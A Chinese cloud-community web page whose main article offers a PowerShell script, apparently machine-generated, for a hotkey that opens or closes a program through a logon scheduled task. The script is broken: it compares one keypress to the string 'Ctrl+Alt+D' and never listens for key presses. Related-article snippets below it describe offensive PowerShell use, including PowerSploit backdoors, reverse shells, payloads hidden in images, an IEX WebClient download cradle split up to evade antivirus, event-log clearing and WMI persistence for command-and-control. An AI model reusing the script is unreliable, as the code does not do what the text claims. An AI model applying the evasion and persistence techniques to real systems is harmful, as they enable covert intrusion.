首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

使用.ps1 PowerShell脚本创建HotKey以打开/关闭程序

.ps1 PowerShell脚本是一种用于Windows操作系统的脚本语言,它可以通过编写脚本来自动化执行各种任务。创建HotKey以打开/关闭程序是一种常见的需求,可以通过编写.ps1脚本来实现。

首先,我们需要了解一些基本概念和步骤:

  1. HotKey:热键是一种在键盘上按下特定组合键时触发特定操作的功能。例如,按下Ctrl+Alt+D可以打开/关闭程序。
  2. PowerShell脚本:PowerShell脚本是一种文本文件,其中包含一系列PowerShell命令和脚本语句,可以通过运行脚本来执行这些命令和语句。

下面是一个示例的.ps1 PowerShell脚本,用于创建HotKey以打开/关闭程序:

代码语言:txt
复制
# 定义热键组合
$hotkey = "Ctrl+Alt+D"

# 定义要打开/关闭的程序路径
$programPath = "C:\Program Files\Example\Example.exe"

# 创建热键
$hotkeyId = New-Object -ComObject WScript.Shell
$hotkeyId.RegWrite("HKCU\Software\Example\HotKey", $hotkey)

# 创建脚本
$script = @"
    # 获取热键
    $hotkey = (Get-ItemProperty -Path 'HKCU:\Software\Example\HotKey').HotKey

    # 检查热键是否按下
    if ($host.UI.RawUI.KeyAvailable -and ($host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").Character -eq $hotkey)) {
        # 检查程序是否已经运行
        $process = Get-Process -Name Example -ErrorAction SilentlyContinue

        if ($process) {
            # 关闭程序
            Stop-Process -Name Example
        } else {
            # 打开程序
            Start-Process -FilePath $programPath
        }
    }
"@

# 将脚本保存为.ps1文件
$script | Out-File -FilePath "C:\Scripts\HotKey.ps1" -Encoding UTF8

# 创建计划任务以在用户登录时运行脚本
$taskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ExecutionPolicy Bypass -File 'C:\Scripts\HotKey.ps1'"
$taskTrigger = New-ScheduledTaskTrigger -AtLogon
$taskSettings = New-ScheduledTaskSettingsSet
Register-ScheduledTask -TaskName "HotKey" -Action $taskAction -Trigger $taskTrigger -Settings $taskSettings

上述脚本的步骤如下:

  1. 定义热键组合:将$hotkey变量设置为所需的热键组合,例如"Ctrl+Alt+D"。
  2. 定义要打开/关闭的程序路径:将$programPath变量设置为要打开/关闭的程序的路径。
  3. 创建热键:使用New-Object -ComObject WScript.Shell创建一个COM对象,然后使用RegWrite方法将热键写入注册表。
  4. 创建脚本:将脚本内容保存在$script变量中,其中包含获取热键、检查热键是否按下、检查程序是否已运行以及打开/关闭程序的逻辑。
  5. 将脚本保存为.ps1文件:使用Out-File命令将脚本保存为.ps1文件,可以将文件路径更改为所需的路径。
  6. 创建计划任务:使用Register-ScheduledTask命令创建一个计划任务,以在用户登录时运行脚本。计划任务的名称为"HotKey",执行的动作为运行PowerShell并执行脚本文件。

请注意,以上示例脚本中的程序路径和注册表路径仅供参考,实际应根据具体情况进行修改。

推荐的腾讯云相关产品和产品介绍链接地址:

  1. 云服务器(CVM):腾讯云提供的弹性计算服务,可快速创建和管理云服务器实例。详情请参考:https://cloud.tencent.com/product/cvm
  2. 云函数(SCF):腾讯云提供的事件驱动的无服务器计算服务,可帮助您按需运行代码,无需管理服务器。详情请参考:https://cloud.tencent.com/product/scf
  3. 云数据库MySQL版(CDB):腾讯云提供的高性能、可扩展的关系型数据库服务,适用于各种规模的应用程序。详情请参考:https://cloud.tencent.com/product/cdb_mysql

请注意,以上推荐的腾讯云产品仅供参考,实际应根据具体需求选择适合的产品。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

了解一下,PowerShell的内网渗透之旅(一)

数组: a.创建数组:常规数组可以使用逗号,连续数字数组可以使用。 ? 其中有以下两个特例: 空数组: ? 一个元素数组: ?...c.哈希表的使用:之前创建空数组是使用@(),而创建哈希表用到的是@{},此处的哈希表同python中的字典类型类似: ?...脚本: a).创建脚本.ps1为后缀) ●通过重定向创建脚本: ? ●通过编辑器创建脚本: 通过txt来编写 ? ●通过powershell自带的ISE或者其他编写工具: ?...b).脚本执行策略:并不是每个.ps1后缀的powershell脚本都可以被执行,在powershell中有策略进行严格把控: ●Unrestricted: 权限最高,可以不受限制执行任何脚本。...打开文件: ? 相比之下,原先的cmd并未有如此便捷的功能命令,在以上powershell不仅可以利用管道,正则表达式。

2.8K60

四十六.Powershell和PowerSploit脚本攻防万字详解

通过与其他工具结合和重定向,读者可以在脚本多种方式使用它。...(1) 首先,如何进入Powershell呢? 一种方法是在运行中直接输入Powershell打开,另一种方法是CMD中输入Powershell打开。....ps1文件:是PowerShell脚本文本 .psd1文件:模块介绍文件 .psm1文件:模块文件 其中,psm1和psd1文件可以使用以下命令导入。 Import-Module ....Persistence:后门脚本(持久性控制) Recon:目标主机为跳板进行内网信息侦查 ScriptModification:在目标主机上创建或修改脚本 其GitHub地址为: https://...2.MSF反弹Shell 接下来,我们在Kali中使用 reverse_https模块进行反弹shell。 第一步,打开msfconsole。

25310

记一次powershell的免杀之路(绕过360、火绒)

脚本的文本文件,其文件名需要加上扩展名“.PS1”。...文件的像素中对 PowerShell 脚本进行编码,并生成要执行的 oneliner Invoke-PSImage 使用 PowerShell 脚本并将脚本的字节编码为 PNG 图像的像素。...它可以仅使用有效载荷数据创建新图像,也可以将有效载荷嵌入现有图像的最低有效字节中,使其看起来像一张真实的图片。...创建新图像时,普通的 PowerShell 脚本实际上会被大大压缩,通常会生成一个文件大小约为原始脚本 50% 的 png。 使用嵌入方法,每个像素中 2 个颜色值的最低有效 4 位用于保存有效负载。...语法特性,变量的方式来拆分HTTP) powershell -c "IEX(New-Object Net.WebClient)."

5.6K10

四十二.Powershell恶意代码检测系列 (3)PowerSploit脚本渗透详解

通过与其他工具结合和重定向,读者可以在脚本多种方式使用它。...(1) 首先,如何进入Powershell呢? 一种方法是在运行中直接输入Powershell打开,另一种方法是CMD中输入Powershell打开。...(1) 下载远程PowerShell脚本绕过权限执行 调用DownloadString函数下载远程的ps1脚本文件。....ps1文件 PowerShell脚本文本 .psd1文件模块介绍文件 .psm1文件模块文件 其中,psm1和psd1文件可以使用以下命令导入。 Import-Module ....Persistence:后门脚本(持久性控制) Recon:目标主机为跳板进行内网信息侦查 ScriptModification:在目标主机上创建或修改脚本 其GitHub地址为: https:/

2.8K30

Powershell绕过执行及脚本混淆

其实并不是执行 cmd 的命令,powershell 利用 Alias 这个特性,可以让使用 cmd 风格使用 powershell。 这样方便初学者在刚接触时像使用 cmd 那样亲切。...1、与文件系统交互,运行应用程序 2、创建及运行脚本( .ps1 ) 和其他脚本语言一样,支持将命令列表编写成脚本,但是一个 .ps1 文件默认是以记事本打开,而非 powershell 执行(这和 powershell...能够利用 .Net 类型和 COM 对象是 PowerShell 的最大特点,这让 PowerShell 能够最大限度的利用现有资源,创建了 .Net 类型和 Dom 对象后可以使用这些对象的属性及方法...5.PSConsole: 使用 PSConsole 指定 powershell 控制文件 powershell 脚本分析 几个较为常用的执行脚本的语句: 1、本地绕过执行策略执行脚本 PowerShell.exe...== 从开头就可以看到它在绕过执行策略时使用了 -nop 不加载 powershell 配置文件,-w 隐藏窗口(执行该命令后会直接隐藏命令行窗口),-sta 使用 sta 模式创建 GUI 界面,-enc

2.7K00

PowerShell-文件名分析缺陷远程代码执行-0day

例如,如果文件名为[helloworldutoria1].ps1 与 名为1.ps1的文件将创建脚本劫持条件。注意,最后一个字母是数字“1”,而不是小写“l”。...我发现使用ps文件名还可以使用单个字母或数字字符作为脚本的目标 以及某些符号。 只有一个单引号的PowerShell脚本也可以工作,[pwned']。 Vuln ISE应用程序。...[pw3d].ps1<==应执行 3.ps1<==实际执行 这利用了PowerShellISE和最终用户之间的信任。因此脚本调试本地或通过网络共享 显示“可信”代码 在ISE中运行。...成功发生攻击需要用户交互,显然运行任何未知的PowerShell脚本都可以 危险。 同样,这种利用利用利用了“信任”的优势,用户可以看到和读取代码,并将其作为一切都信任它。...powershell需要权限才能运行。

59910

091031 T PowerShell Solution

powershell有一个星期了吧,一直为这种批处理的运行模式烦恼。按照以下步骤操作后的效果是:     直接.ps1文件可以管理员身份使用powershell.exe运行代码。    ...而powershell.exe和cmd.exe等进程是OS自带的,不能设置默认管理员运行。所以这里创建一个新的exe,代理到powershell.exe。然后再设置此程序默认管理员运行即可。...(此步骤为开启UAC的系统使用管理员身份运行cmd命令关联默认的.ps1文件程序为PowerShellAgent.exe。...使用这步是因为PowerGUI在安装完成后,不能再使用窗口设置.ps1文件的默认打开程序。(这软件真是可恶!) 6....(此步骤为未开启UAC的系统使用)运行cmd命令关联默认的.ps1文件程序为PowerShell.exe。

77860

PowerShell系列(五):PowerShell通过脚本方式运行笔记

上一篇文章讲解了Powershell通过交互环境运行命令的相关知识,今天给大家介绍实际工作当中使用最频繁的方式——通过脚本运行,简单来说就是和咱们实际编写代码一样,先编写代码,然后通过开发工具执行。...首先打开 WindowPowerShell ISE 开发环境新建一个test.ps1,脚本内容如下:$arr1=1..10 #定义一个1~10的数组 $arr1  #打印数组一、四种执行方式介绍1、当前文件夹运行命令进入存放脚本文件的命令...命令格式:PowerShell  ps1脚本文件完整路径4、通过Windows计划任务执行PowerShell脚本PowerShell 脚本默认无法执行,需要先修改 PowerShell 执行策略(ExecutionPolicy...首先打开Windows任务计划程序创建一个计划任务打开创建计划任务常规选项卡,然后输入名称和描述,具体如下图:切换到触发器选项卡,设置每五分钟执行一次。...针对一些复杂的运维脚本,如果通过交互命令方式,如果命令非常多且比较复杂的话,那么脚本可读性就大打折扣了。建议针对复杂运维命令的话,注释一定要写的比较清晰,方便后续使用和运维。

80041

如何绕过PowerShell访问限制并实现PowerShell代码执行

在这篇文章中,我将跟大家介绍一种快速且狡猾的绕过技术,这项技术需要利用C#编译代码来执行我们的PowerShell脚本。 首先,我们为什么不适用powershell.exe来执行我们的.ps1脚本呢?...不过在C#中,我们需要对程序代码进行编译才可以使用和执行,即编译型语言,这是它和PowerShell这种解释型脚本语言有很大区别。...鉴于PowerShell.exe只是.NET程序集“system.management.automation”的解释器,因此它应该可以在C程序中与这个对象进行交互并执行.ps1脚本。...接下来,创建一个简单地测试脚本: test.ps1: echo "Hello from powershell-less" echo "PID: $pid" 然后运行该脚本: 没错,我们成功了!...我们成功地在不直接使用powershell.exe的情况下调用并执行了我们的脚本代码。

2K30

看我一招鲜 | BAT转EXE快速生成

03 FTVIEW支持的脚本语言-PowerShell 通过FTVIEW SE软件可以发现是支持脚本语言的,他支持的脚本语言为PowerShell。...意思也就是可以通过编写后缀为.PS1PowerShell脚本文件,然后就可以在FTVIEW SE中执行了。...Cmd与powerShell的几个区别: #速度cmd是打开真的快啊,powershell得等待一段时间才能打开。...如上图所示,不过经过测试发现我编写的.ps1脚本虽然提示执行成功了,但是结果没有达到预期的效果,会提示模式不支持,然后无法设置电脑相关属性。...具体的使用方法也比较的简单容易啊,基本上就是根据提示下一步下一步的点然后输入一些信息就可以了,然后到了install program这里选择install program时选择使用cmd.exe然后来打开之前创建

4.6K30

WMI利用(权限维持)

可以使用wmic来进行操作。通俗的可以说:WMI内部出现什么变化就由WMI事件来进行通知。...所以在权限维持中一般我们使用WMI永久事件来进行。...WQL语句,也可以指定WITHIN来指定间隔时间,秒为单位,但是需提前指定TimerID,可以自行修改PS1脚本进行完善,将添加后门、删除后门的操作集成到一个脚本内完成,同时免杀的操作可以针对性的进行混淆或编码的操作...SELECT * FROM __TimerEvent WITHIN 10 WHERE TimerID = 'Trigger' 上线C2 注意:将上述Powershell脚本替换其执行的Payload进行本地执行...运行ps1脚本后成功上线 Mof文件添加事件 注意:笔者在测试Mof文件添加事件时,编译后的确能够正常添加事件,但是未能执行指定命令。 #PRAGMA NAMESPACE ("\\\\.

1.8K21

从上而下的死亡:从 Azure 到 On-Prem AD 的横向移动

首先,准备好您的 PowerShell 脚本并将其保存为 PS1 文件。...为了一个简单的演示,我们现在将坚持使用“Hello World”脚本: image.png 在下一页上,单击文件夹,然后从常用对话窗口中选择您的 PS1。...此过程的工作方式与组策略类似,因为在每个设备上运行的 Intune 代理会定期使用 Intune/Endpoint Manager 签入(默认情况下是每小时一次),查看是否有 PowerShell 脚本可以运行...脚本时,会在端点上创建许多工件——一些是永久性的,一些是短暂的。...在以下位置执行 PowerShell 脚本时,会在端点上创建两个文件: C:\Program 文件 (x86)\Microsoft Intune 管理扩展\Policies\Scripts C:\Program

2.4K10

使用 SCCM 和 Intune 部署 Windows 11 硬件就绪 PowerShell 脚本

微软共享了一个 PowerShell 脚本帮助企业评估其 Windows 10 设备与 Windows 11 升级的硬件兼容性。您可以使用 SCCM 部署 Windows 11 硬件就绪脚本。...您可以使用 SCCM 中的运行脚本选项来获取 Windows 11 硬件就绪脚本的实时输出。 对于 Intune,不需要部署此 PowerShell 脚本。...image.png image.png 使用 SCCM 部署 Windows 11 硬件就绪脚本 您可以按照下面提到的步骤使用 SCCM 完成 Windows 11 硬件准备脚本部署,评估 Windows...在“主页”选项卡的“创建”组中,单击“ 创建脚本” 。 在创建脚本向导的脚本页面上,配置以下设置: 输入 脚本名称 并选择脚本语言作为 PowerShell。...单击导入按钮浏览到您下载的 PS1 文件。 单击NEXT、NEXT和Close按钮​​继续。

2K30

红队战术-躲避日志检查

Powershell清除事件日志 另一种方法是使用PowerShell清除日志。...权限:管理员权限 命令:管理员身份运行Powershell并执行以下命令 Clear-Eventlog -LogName Security Clear-Eventlog -LogName System...这个也可以完全写成ps1脚本,你直接把你要清除日志的命令写到ps1脚本里面就行,用法和批处理脚本一样。...3.Phantom 该脚本遍历事件日志服务进程(特定于svchost.exe)的线程堆栈,并标识事件日志线程杀死事件日志服务线程,因此,系统将无法收集日志,同时,事件日志服务也正在运行。...管理员身份运行mimikatz并执行以下命令: privilege::debug event:: 5.MiniNT registry key 您可以使用注册表,如下所述创建新的注册表项,然后重新启动计算机重新加载配置单元

92420

Badusb原理及制作并简单免杀实现远控教程

文件格式Powershell可执行的程序(具体安装和生Payload过程不再赘述,请自行百度,这边我用到的是CobaltStrike4.0)。...2.利用开源python程序Invoke-Obfuscation对ps1脚本进行免杀,生成面杀版ps1脚本文件,并上传到自己的web服务器备用, Github地址:https://github.com/...4.安装并打开Arduino软件,点击文件中的首选项,附加开发板管理器网址填入:https://raw.githubusercontent.com/digistump/arduino-boards-index...7.将以下代码填入Arduino代码框中,实现伪造键盘输出win+r打开运行窗口并执行Powershell命令。...2.使用360的SecUSB或者腾讯的SecLine。 注:我展示如何攻击的目的是为了让大家知道这个漏洞,了解并认识到网络安全的重要性,更好的进行防御,而不是以此为武器去伤害别人。

70420

免费下载 80多种的微软推出入门级 .NET视频

接下来,下载 Scott Hanselman 制作了一个小PowerShell脚本 到本地磁盘,并将其命名为DownloadVideos.ps1,注意要确保* .ps1扩展名保存它,这是需要运行Powershell...最后,在文本编辑器中打开PS1文件,并检查第2行和第3行。再次输入适合您计算机的路径,例如C:\ temp或您的下载文件夹。...最后,从“开始”菜单打开计算机上的PowerShell,然后运行DownloadVideos.ps1。 ?...Xamarin 101 在这个入门视频系列中,获得Xamarin的概述以及它如何使您能够为Android和iOS创建跨平台的移动应用程序。 ?...ML.NET 欢迎使用ML.NET进行机器学习!这个入门级的视频系列介绍了机器学习的概念,它可以做什么以及如何开始使用ML.NET。 ?

1K31

工具| PowerShell的内网渗透之旅(二)

-NoProfile -WindowStyle Hidden -File xxx.ps1 IEX下载远程PS1脚本权限绕过执行(在本例PowerSploit框架利用中会使用):powershell.exe...PowerSploit由以下模块和脚本组成: 模块 说明 CodeExecution 在目标主机执行代码 ScriptModification 在目标主机上创建或修改脚本代码 Persistence 后门脚本...(持久性控制) AntivirusBypass 发现杀软查杀特征 Exfiltration 在目标主机上进行信息搜集 Mayhem 蓝屏等破坏性脚本 Privesc 在目标主机中用于提权 Recon 目标主机为跳板进行内网信息侦查...b.打开一个web服务,并将下载的脚本文件放入web中,供我们通过IEX调用。 c.打开kali中的metasploit,本次的测试有部分需要通过metasploit结合完成。...1)打开一个web服务,并将PowerSploit脚本添加到web中,以便后续实验中可通过IEX进行下载调用(此处我在kali中开启apache2服务)。 ? ?

1.8K60

Empire:PowerShell后期漏洞利用代理工具

快速部署后期漏洞利用模块,从键盘记录器到Mimikatz,并且能够适应通信躲避网络检测,所有的这些功能都封装在一个实用性为重点的框架中。 为什么会选择PowerShell?...虽说有很多有用的项目,但是很多pentester仍然为将PowerShell一种安全的方式整合在实际的攻击行为中而在努力。 初始化安装 运行....脚本 除了Empire内置的模块外,你也可以用很简单的方式在远程的Empire代理中导入并使用一个.ps1脚本使用scriptimport ./path/ 命令导入一个脚本。...该脚本将被导入并访问脚本中的任何功能。在连接代理后,使用scriptcmd [导入的脚本文件名称]命令,来执行你导入的ps1脚本。...如下图: 我写了一个打开计算器的test.ps1脚本使用scriptimport ./test.ps1命令 ?

1.5K60
领券